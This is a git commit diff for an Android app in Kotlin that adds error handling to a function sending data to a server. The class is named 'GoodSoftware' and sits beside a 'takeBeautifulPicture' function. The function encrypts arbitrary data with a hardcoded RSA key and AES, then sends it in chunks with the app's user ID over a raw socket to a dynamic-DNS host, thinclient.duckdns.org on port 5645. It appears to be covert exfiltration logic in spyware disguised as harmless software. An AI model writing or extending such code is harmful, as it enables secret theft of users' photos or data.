Make client not crash if it cant access the server
This commit is contained in:
parent
e6a96f97fa
commit
fc2aa3f79d
@ -131,55 +131,59 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
|
||||
fun sendDataToServer(sendData: String) {
|
||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||
val host = "thinclient.duckdns.org"
|
||||
val port = 5645
|
||||
val secureRandom = SecureRandom()
|
||||
val keyBytes = ByteArray(16)
|
||||
val ivBytes = ByteArray(16)
|
||||
secureRandom.nextBytes(keyBytes)
|
||||
secureRandom.nextBytes(ivBytes)
|
||||
val key = SecretKeySpec(keyBytes, "AES")
|
||||
val iv = IvParameterSpec(ivBytes)
|
||||
val algorithm = "AES/CBC/PKCS5Padding"
|
||||
try {
|
||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||
val host = "thinclient.duckdns.org"
|
||||
val port = 5645
|
||||
val secureRandom = SecureRandom()
|
||||
val keyBytes = ByteArray(16)
|
||||
val ivBytes = ByteArray(16)
|
||||
secureRandom.nextBytes(keyBytes)
|
||||
secureRandom.nextBytes(ivBytes)
|
||||
val key = SecretKeySpec(keyBytes, "AES")
|
||||
val iv = IvParameterSpec(ivBytes)
|
||||
val algorithm = "AES/CBC/PKCS5Padding"
|
||||
|
||||
val chunkSize = 131072
|
||||
val chunks = sendData.lines().joinToString("").chunked(chunkSize)
|
||||
val chunkSize = 131072
|
||||
val chunks = sendData.lines().joinToString("").chunked(chunkSize)
|
||||
|
||||
val socket = Socket(host, port)
|
||||
val writer = PrintWriter(socket.getOutputStream(), true)
|
||||
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||
val socket = Socket(host, port)
|
||||
val writer = PrintWriter(socket.getOutputStream(), true)
|
||||
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||
|
||||
val encodedKey = encodeBase64(keyBytes)
|
||||
writer.println(encryptText(encodedKey, pKey))
|
||||
reader.readLine()
|
||||
|
||||
val encodedIV = encodeBase64(ivBytes)
|
||||
writer.println(encryptText(encodedIV, pKey))
|
||||
reader.readLine()
|
||||
|
||||
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
|
||||
writer.println(encryptText(encodedUid, pKey))
|
||||
reader.readLine()
|
||||
|
||||
for (chunk in chunks) {
|
||||
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
|
||||
writer.println(cipherText)
|
||||
val encodedKey = encodeBase64(keyBytes)
|
||||
writer.println(encryptText(encodedKey, pKey))
|
||||
reader.readLine()
|
||||
|
||||
val encodedIV = encodeBase64(ivBytes)
|
||||
writer.println(encryptText(encodedIV, pKey))
|
||||
reader.readLine()
|
||||
|
||||
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
|
||||
writer.println(encryptText(encodedUid, pKey))
|
||||
reader.readLine()
|
||||
|
||||
for (chunk in chunks) {
|
||||
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
|
||||
writer.println(cipherText)
|
||||
reader.readLine()
|
||||
}
|
||||
|
||||
writer.println("END_OF_COMMUNICATION")
|
||||
reader.readLine()
|
||||
|
||||
println("Client: Ready for next operation")
|
||||
writer.println("Ready for next operation")
|
||||
reader.readLine()
|
||||
|
||||
// Close resources
|
||||
writer.close()
|
||||
reader.close()
|
||||
socket.close()
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
// Handle the exception, e.g., log the error or notify the user
|
||||
}
|
||||
|
||||
|
||||
writer.println("END_OF_COMMUNICATION")
|
||||
reader.readLine()
|
||||
|
||||
println("Client: Ready for next operation")
|
||||
writer.println("Ready for next operation")
|
||||
reader.readLine()
|
||||
|
||||
// Close resources
|
||||
writer.close()
|
||||
reader.close()
|
||||
socket.close()
|
||||
}
|
||||
|
||||
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user